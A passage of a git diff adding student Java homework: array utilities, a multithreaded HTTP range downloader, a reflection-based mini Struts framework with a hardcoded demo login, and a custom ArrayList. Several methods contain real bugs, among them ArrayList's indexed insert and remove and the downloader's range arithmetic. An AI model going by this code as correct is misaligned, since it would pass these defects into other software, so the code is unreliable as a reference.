 create mode 100644 group23/729693763/Third_Homework3/download/DownloadThread.java
 create mode 100644 group23/729693763/Third_Homework3/download/FileDownloader.java
 create mode 100644 group23/729693763/Third_Homework3/download/FileDownloaderTest.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/Connection.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionException.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionManager.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/DownloadListener.java
 create mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
 create mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/729693763/homework1_demo/ArrayList.java
 create mode 100644 group23/729693763/homework1_demo/BinaryTreeNode.java
 create mode 100644 group23/729693763/homework1_demo/Iterator.java
 create mode 100644 group23/729693763/homework1_demo/LinkedList.java
 create mode 100644 group23/729693763/homework1_demo/List.java
 create mode 100644 group23/729693763/homework1_demo/Queue.java
 create mode 100644 group23/729693763/homework1_demo/Stack.java
 create mode 100644 group23/729693763/readme.md
 create mode 100644 group23/769232552/coding/src/main/java/code01/ArrayList.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/BinaryTree.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/Iterator.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/LinkedList.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/List.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/Queue.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/Stack.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/ArrayUtil.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/View.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/DownloadThread.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/FileDownloader.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/Connection.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/ArrayListTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/LinkedListTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/QueueTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/StackTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
 create mode 100644 group23/810181789/src/firstday/ArrayListt.java
 create mode 100644 group23/810181789/src/firstday/LinkListt.java
 create mode 100644 group23/810181789/src/firstday/Queue.java
 create mode 100644 group23/810181789/src/firstday/Stack.java
 create mode 100644 group23/group23.md

diff --git a/group23/1028361767/1028361767.md b/group23/1028361767/1028361767.md
new file mode 100644
index 0000000000..741976ad6e
--- /dev/null
+++ b/group23/1028361767/1028361767.md
@@ -0,0 +1 @@
+This is 1028361767's project.
\ No newline at end of file
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java b/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
new file mode 100644
index 0000000000..e497a8e251
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
@@ -0,0 +1,210 @@
+package com.coderising.array;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public int[] reverseArray(int[] origin){
+		int len = origin.length;
+		int[] ret = new int[len];
+		for(int i=0;i<len;i++){
+			ret[i] = origin[len-i-1];
+		}
+		origin = null;
+		return ret;
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		int[] ret = new int[oldArray.length];
+		int zeroNum = 0;
+		int tmp;
+		int retIndex = 0;
+		for(int i=0;i<oldArray.length;i++){
+			tmp = oldArray[i];
+			if(tmp == 0){
+				zeroNum++;
+			}else{
+				ret[retIndex++] = tmp;
+			}
+		}
+		if(zeroNum == 0){
+			return oldArray;
+		}else{
+			return Arrays.copyOf(ret, retIndex);
+		}
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	public int[] merge(int[] array1, int[] array2){
+		int[] ret = new int[array1.length + array2.length];
+		int i1 = 0, i2 = 0;
+		int val1, val2;
+		int sameNum = 0;
+		int len1 = array1.length-1, len2 = array2.length -1;
+		for(int i=0;i<ret.length;){
+			if(i1 <= len1 && i2 <= len2){
+				val1 = array1[i1];
+				val2 = array2[i2];
+				if(val1 < val2){
+					ret[i++] = val1;
+					i1++;
+				}else if(val1 == val2){
+					sameNum++;
+					i2++;
+				}else{
+					ret[i++] = val2;
+					i2++;
+				}
+			}else{
+				if(i1 > len1 && i2 > len2){
+					break;
+				}else if(i1 > len1){
+					ret[i++] = array2[i2++];
+				}else{
+					ret[i++] = array1[i1++];
+				}
+			}
+				
+		}
+		if(sameNum > 0){
+			ret = Arrays.copyOf(ret, ret.length - sameNum);
+		}
+		return ret;
+	}
+	
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return Arrays.copyOf(oldArray, oldArray.length + size);
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		if(max == 1){
+			return new int[0];
+		}else{
+			int[] tmp = new int[max + 1];
+			int x1 = 1, x2 = 1;
+			int i = 1, j = 0;
+			tmp[j++] = x1;
+			tmp[j++] = x2;
+			while(true){
+				i = x1 + x2;
+				if(i > max){
+					break;
+				}
+				x1 = x2;
+				x2 = i;
+				tmp[j++] = i;
+			}
+			return Arrays.copyOf(tmp, j);
+		}
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		int[] tmp = new int[max/2 + 1];
+		boolean isPrime;
+		int k = 0;
+		for(int i=2;i<max;i++){
+			isPrime = true;
+			for(int j=2;j<i;j++){
+				if(i % j == 0 && i != j){
+					isPrime = false;
+					break;
+				}
+			}
+			if(isPrime){
+				tmp[k++] = i;
+			}
+		}
+		return Arrays.copyOf(tmp, k);
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		if(max < 3){
+			return new int[0];
+		}
+		int[] tmp = new int[max/6];
+		int[] factors;
+		int i = 0, l, sum;
+		for(int j=2;j<max;j++){
+			l = 0;sum = 1;
+			factors = new int[j];
+			for(int k=2;k<j;k++){
+				if(j % k == 0 && j != k){
+					factors[l++] = k;
+				}
+			}
+			for(int m=0;m<l;m++){
+				sum += factors[m];
+			}
+			if(sum == j){
+				tmp[i++] = j;
+			}
+		}
+		return Arrays.copyOf(tmp, i);
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < array.length; i++) {
+			sb.append(array[i]).append(seperator);
+		}
+		return sb.length() == 0? "" : sb.substring(0, sb.length() - 1);
+	}
+	
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..8cf0ae1e42
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,31 @@
+package com.coderising.download;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		try {
+			byte[] bytes = conn.read(startPos, endPos);
+			RandomAccessFile file = new RandomAccessFile("/Users/jie/Desktop/test.png", "rw");
+			file.seek(startPos);
+			file.write(bytes);
+			file.close();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..1fe4ebb159
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,104 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+	Thread[] threads = new Thread[3];
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();
+			
+			int size = length / 3;
+			int remain = length - size;
+			
+			for(int i=0;i<3;i++){
+				conn = cm.open(this.url);
+				int startPos = i*size;
+				int endPos = (i+1) * size - 1;
+				if(i == 2){
+					endPos = (i+1) * size - 1 + remain;
+				}
+				threads[i] = new DownloadThread(conn,startPos,endPos);
+				threads[i].start();
+			}
+
+			new Thread(new Runnable(){
+				public void run(){
+					boolean finish;
+					do{
+						finish = true;
+						for(int i=0;i<threads.length;i++){
+//							System.out.println("线程" + i + "状态:" + threads[i].getState());
+							if(!"TERMINATED".equals(threads[i].getState().toString())){
+								finish = false;
+								continue;
+							}
+						}
+					}while(!finish);
+					getListener().notifyFinished();
+				}
+			}).start();;
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..128a302664
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://pic6.huitu.com/res/20130116/84481_20130116142820494200_1.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..15534af093
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,26 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+	
+	public void setConnection(HttpURLConnection conn);
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..e7a8b1ef1e
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,62 @@
+package com.coderising.download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	
+	private HttpURLConnection conn;
+	
+	private InputStream inputStream;
+	
+	private ByteArrayOutputStream outputStream;
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		byte[] bytes = new byte[1024];
+		conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		inputStream = conn.getInputStream();
+		outputStream = new ByteArrayOutputStream();
+		int n = 0;
+		while((n = inputStream.read(bytes)) != -1){
+			outputStream.write(bytes, 0, n);
+		}
+		return outputStream.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return conn.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		conn.disconnect();
+		if(inputStream != null){
+			try {
+				inputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		if(outputStream != null){
+			try {
+				outputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+	}
+
+	public HttpURLConnection getConnection() {
+		return conn;
+	}
+
+	public void setConnection(HttpURLConnection conn) {
+		this.conn = conn;
+	}
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..9d9c2af144
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,26 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection connection = new ConnectionImpl();
+		try {
+			URL u = new URL(url);
+			HttpURLConnection conn = (HttpURLConnection)u.openConnection();
+			connection.setConnection(conn);
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return connection;
+	}
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..7757668834
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,181 @@
+package com.coderising.litestruts;
+
+import java.io.File;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+public class Struts {
+	
+	private final static Map<String, Action> actions = new HashMap<String, Action>();
+	
+    @SuppressWarnings("rawtypes")
+	public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	//读取xml，把xml信息放到actions
+    	readStrutsXML();
+    	
+    	Action action = actions.get(actionName);
+    	View view = new View();
+    	if(action != null){
+			Class clazz = Class.forName(action.getClassName());
+    		Object obj = clazz.newInstance();
+    		
+    		//根据parameters调用set方法
+    		initClass(clazz, obj, action, parameters);
+    		
+    		//调用execute方法
+    		String result = execute(clazz, obj);
+    		//调用所有get方法
+    		Map resultParameters = getResultParameters(clazz, obj);
+    		
+    		view.setJsp(action.getResults().get(result));
+    		view.setParameters(resultParameters);
+    	}
+    
+    	return view;
+    }
+
+	@SuppressWarnings("rawtypes")
+	private static Map getResultParameters(Class clazz, Object obj) throws Exception {
+		Map<String, String> resultParameters = new HashMap<String, String>();
+		Method[] methods = clazz.getMethods();
+		String methodName;
+		String propName;
+		String propValue;
+		for(Method method : methods){
+			methodName = method.getName();
+			if(methodName.startsWith("get") && !"getClass".equals(methodName)){
+				propName = firstLetterLowerCase(methodName.substring(3, methodName.length()));
+				propValue = (String) method.invoke(obj);
+				resultParameters.put(propName, propValue);
+			}
+		}
+		return resultParameters;
+	}
+
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	private static String execute(Class clazz, Object obj) throws Exception{
+		Method method = clazz.getMethod("execute");
+		return (String)method.invoke(obj);
+	}
+
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	private static void initClass(Class clazz, Object obj, Action action, Map<String, String> parameters) throws Exception {
+		String setMethodName;
+		Method method = null;
+		for (String parameter : parameters.keySet()) {
+			setMethodName = "set" + firstLetterUpperCase(parameter);
+			method = clazz.getMethod(setMethodName, String.class);
+			method.invoke(obj, parameters.get(parameter));
+		}
+	}
+	
+	private static String firstLetterLowerCase(String string){
+		char[] cs = string.toCharArray();
+		cs[0] += 32;
+		return String.valueOf(cs);
+	}
+	
+	private static String firstLetterUpperCase(String string){
+		char[] cs = string.toCharArray();
+		cs[0] -= 32;
+		return String.valueOf(cs);
+	}
+
+	@SuppressWarnings("unchecked")
+	private static void readStrutsXML() {
+		SAXReader saxReader = new SAXReader();
+		Document document;
+		try {
+			document = saxReader.read(new File("src/com/coderising/litestruts/struts.xml"));
+		} catch (DocumentException e) {
+			System.out.println("error:file not found");
+			return ;
+		}
+		Element root = document.getRootElement();
+		Iterator<Element> actionItr = root.elementIterator();
+		Element action;
+		Action act;
+		Iterator<Element> resultItr;
+		Element result;
+		Map<String, String> results;
+		while(actionItr.hasNext()){
+			action = actionItr.next();
+			
+			resultItr = action.elementIterator();
+			results = new HashMap<String, String>();
+			while(resultItr.hasNext()){
+				result = resultItr.next();
+				results.put(result.attributeValue("name"), result.getStringValue());
+			}
+			
+			act = new Action();
+			act.setName(action.attributeValue("name"));
+			act.setClassName(action.attributeValue("class"));
+			act.setResults(results);
+			
+			actions.put(act.getName(), act);
+		}
+	}    
+	
+	static class Action {
+		
+		private String name;
+		
+		private String className;
+		
+		private Map<String, String> results = new HashMap<>();
+		
+		public Map<String, String> getResults() {
+			return results;
+		}
+
+		public void setResults(Map<String, String> results) {
+			this.results = results;
+		}
+
+		public String getName() {
+			return name;
+		}
+
+		public void setName(String name) {
+			this.name = name;
+		}
+
+		public String getClassName() {
+			return className;
+		}
+
+		public void setClassName(String className) {
+			this.className = className;
+		}
+
+	}
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..92a6758a69
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() throws Exception {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() throws Exception {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
new file mode 100644
index 0000000000..da0237bdf7
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
@@ -0,0 +1,80 @@
+package com.coding.basic;
+
+import java.util.Arrays;
+
+public class ArrayList implements List {
+
+    private int size = 0;
+
+    private int HALF_MAX_VALUE = Integer.MAX_VALUE;
+
+    private Object[] elementData = new Object[100];
+
+    public void add(Object o) {
+        if (noSpace()) {
+            elementData = grow();
+        }
+        elementData[size++] = o;
+    }
+
+    public void add(int index, Object o) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > size) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        if (noSpace()) {
+            elementData = grow();
+        }
+        System.arraycopy(elementData, index, elementData, index + 1, size - index);
+        elementData[size++] = o;
+    }
+
+    public Object get(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > (size - 1)) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        return elementData[index];
+    }
+
+    public Object remove(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > (size - 1)) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        Object obj = elementData[index];
+        System.arraycopy(elementData, index + 1, elementData, index, size - index);
+        elementData[size-1] = null;
+        size--;
+        return obj;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public Iterator iterator() {
+        return null;
+    }
+
+    private boolean noSpace() {
+        return size == elementData.length;
+    }
+
+    private Object[] grow() {
+        int newSize;
+        if (size < HALF_MAX_VALUE) {
+            newSize = size * 2;
+        } else {
+            newSize = Integer.MAX_VALUE;
+        }
+        return Arrays.copyOf(elementData, newSize);
+    }
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..dced34e873
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,97 @@
